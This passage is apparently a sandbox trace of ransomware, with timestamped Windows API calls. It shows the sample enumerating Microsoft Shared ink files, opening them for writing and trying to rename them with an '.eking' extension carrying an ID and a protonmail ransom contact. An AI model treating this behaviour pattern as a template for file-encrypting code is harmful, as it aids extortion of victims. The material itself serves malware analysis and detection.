Shared\\ink\\fsdefinitions\\numbers.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.028] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.032] ResetEvent (hEvent=0x178) returned 1 [0166.032] SetEvent (hEvent=0x17c) returned 1 [0166.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.034] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=471) returned 1 [0166.034] CloseHandle (hObject=0x190) returned 1 [0166.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0166.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0166.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.035] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.035] ResetEvent (hEvent=0x178) returned 1 [0166.036] SetEvent (hEvent=0x17c) returned 1 [0166.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0166.036] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=215) returned 1 [0166.036] CloseHandle (hObject=0x1d8) returned 1 [0166.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0166.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0166.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.037] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.040] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.041] ResetEvent (hEvent=0x178) returned 1 [0166.041] SetEvent (hEvent=0x17c) returned 1 [0166.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0166.042] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=219) returned 1 [0166.042] CloseHandle (hObject=0x1d8) returned 1 [0166.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0166.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0166.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.043] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.044] ResetEvent (hEvent=0x178) returned 1 [0166.044] SetEvent (hEvent=0x17c) returned 1 [0166.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.045] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=924) returned 1 [0166.045] CloseHandle (hObject=0x190) returned 1 [0166.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0166.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0166.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.046] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.047] ResetEvent (hEvent=0x178) returned 1 [0166.047] SetEvent (hEvent=0x17c) returned 1 [0166.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0166.047] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=215) returned 1 [0166.047] CloseHandle (hObject=0x1d8) returned 1 [0166.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0166.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0166.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.048] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.051] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.051] ResetEvent (hEvent=0x178) returned 1 [0166.052] SetEvent (hEvent=0x17c) returned 1 [0166.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.053] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=749) returned 1 [0166.053] CloseHandle (hObject=0x190) returned 1 [0166.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0166.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0166.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.054] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.055] ResetEvent (hEvent=0x178) returned 1 [0166.055] SetEvent (hEvent=0x17c) returned 1 [0166.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0166.055] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2764) returned 1 [0166.055] CloseHandle (hObject=0x190) returned 1 [0166.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0166.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0166.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.056] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.058] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.061] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.065] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.069] ResetEvent (hEvent=0x178) returned 1 [0166.069] SetEvent (hEvent=0x17c) returned 1 [0166.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0166.069] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0166.069] CloseHandle (hObject=0x1d8) returned 1 [0166.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0166.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0166.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.070] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.123] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.161] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0166.180] ResetEvent (hEvent=0x178) returned 1 [0166.180] SetEvent (hEvent=0x17c) returned 1 [0166.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0166.983] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=747280) returned 1 [0166.983] CloseHandle (hObject=0x1e4) returned 1 [0166.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0166.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0166.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0166.984] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=815680) returned 1 [0166.984] CloseHandle (hObject=0x1e4) returned 1 [0166.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0166.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0166.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0166.985] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1100368) returned 1 [0166.985] CloseHandle (hObject=0x1e4) returned 1 [0166.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0166.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0166.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0166.987] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3053984) returned 1 [0166.987] CloseHandle (hObject=0x1e4) returned 1 [0166.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0166.987] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0166.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0 [0166.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0166.988] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2227968) returned 1 [0166.988] CloseHandle (hObject=0x1e4) returned 1 [0166.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0166.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0166.989] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0 [0166.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0166.989] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3195696) returned 1 [0166.989] CloseHandle (hObject=0x1e4) returned 1 [0166.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0166.990] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 